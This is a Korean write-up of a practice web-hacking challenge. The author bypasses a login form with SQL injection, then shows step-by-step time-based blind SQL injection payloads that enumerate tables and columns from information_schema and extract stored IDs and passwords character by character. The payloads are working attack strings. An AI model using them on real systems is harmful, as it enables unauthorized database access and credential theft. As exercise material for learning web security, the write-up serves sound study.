normaltic3로 로그인하자!
현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234
doldol / doldol1234 아이디와 비밀번호가 주어졌다.
burp suite으로 로그인 하고 http 요청과 응답헤더를 보았다.
계속 문제를 풀다 보니 감이 잡혔다.
감이 잡혔지만 아무런 단서가 없어 로그인과 로그아웃을 반복하던 중에
doldol’ and ‘1’=’1 / dol1234를 넣어보았다.
로그인 성공했다.
sql injection이 통하는 거 같아
bllind sql 인젝션을 해보았다.
우선 normaltic3 정보가 어디 테이블에 있는지 알기 위해서는 어떤 데이터베이스에 어떤 테이블에 어떤 컬럼에 있는지 알아야 한다.
데이터베이스는 건너뛰어도 된다. 브라우저에서 띄워주는 sql은 데이터베이스 내에서 실행되고 sql 문법에서 db를 언급하지 않아서 실행 가능하다.
blind sql injection으로 테이블 갯 수를 알아보자
doldol’ and ‘1’=’1 이게 되었기 때문에 이렇게 써줬다.
table_schema 가 현재 database() 와 일치하는지
information_schema.tables는 데이터베이스 내의 모든 테이블 정보를 저장하는 시스템
select if는 쿼리의 결과가 5 와 일치한다면 5초 sleep
doldol' AND (SELECT IF(5=(SELECT COUNT(*) FROM information_schema.tables
WHERE table_schema=database()), SLEEP(5), 0)) AND '1'='1
테이블이 SELECT IF(5 5개인 경우 5초 후에 반응이 왔다.
테이블 갯 수 알았으니 첫 번째 테이블 글자 수 알아보자
information_schema.table에서 연결된 데이터베이스 첫 번째 Limit 0,1 선택
char_length()=9 이름이 9글자인지 확인 나머지는 위와 비슷
doldol' AND (SELECT IF(CHAR_LENGTH((SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1))=9, SLEEP(5), 0)) AND '1'='1
9를 대입해 보니 sleep이 있었다.
테이블 글자 수를 알았으니 테이블명을 알아보자
손으로 넣어도 되지만 파이썬으로 대입해 보았다.
파이썬 코드는 주제에서 어긋남으로 생략하고
doldol' AND (SELECT IF(ASCII(SUBSTRING((SELECT table_name FROM
information_schema.tables WHERE table_schema=database() LIMIT 0,1),
{position}, 1))=ASCII('{char}'), SLEEP(5), 0)) AND '1'='1
substring 함수는 선택된 테이블에서 {position}의 문자를 추출 {position}으로 테이블 몇 번째 글자인지 유추
Ascii를 사용하여 substring으로 추출된 값 계산하면 테이블명이 나온다.
ASCII란
ascill 코드는 숫자를 할당하여 문자로 표시하는 방법이라고 한다.
a는 97
A는 65
소문자 대문자 코드가 다르다.
테이블명을 알았으니 컬럼 갯 수를 파악해 보자.
doldol' AND (SELECT IF((SELECT COUNT(*) FROM information_schema.columns
WHERE table_name = 'book_info' AND table_schema = database()) = {N},
SLEEP(5), 0)) AND '1'='1
테이블 개수 비교할때랑 비슷하다.
컬럼 갯수를 알았으니 컬럼 길이를 알아보자
doldol' AND (SELECT IF(CHAR_LENGTH((SELECT column_name
FROM information_schema.columns WHERE table_name='book_info'
AND table_schema=database() LIMIT 0,1))={length}, SLEEP(5), 0)) AND '1'='1
이것도 테이블 길이와 비슷하다.
이제 컬럼 명을 알아보자
doldol' AND (SELECT IF(ASCII(SUBSTRING((SELECT column_name
FROM information_schema.columns WHERE table_name='book_info'
AND table_schema=database() LIMIT 3,1), {position}, 1))=ASCII('{char}'), SLEEP(5), 0))
AND '1'='1
테이블 이름 구할때랑 비슷하다.
이제 컬럼 안의 내용을 구해서
nomaltic3로 로그인해야 한다.
위에 코드들로 반복해서 찾다 보면 아이디와 비밀번호가 있는 테이블이 나온다.
doldol' AND (SELECT IF(ASCII(SUBSTRING((SELECT {column_name}
FROM table LIMIT 0,1), {position}, 1))=ASCII('{char}'),
SLEEP(5), 0)) AND '1'='1
sqlmap을 돌리면 빠르지만 손으로 해보았다.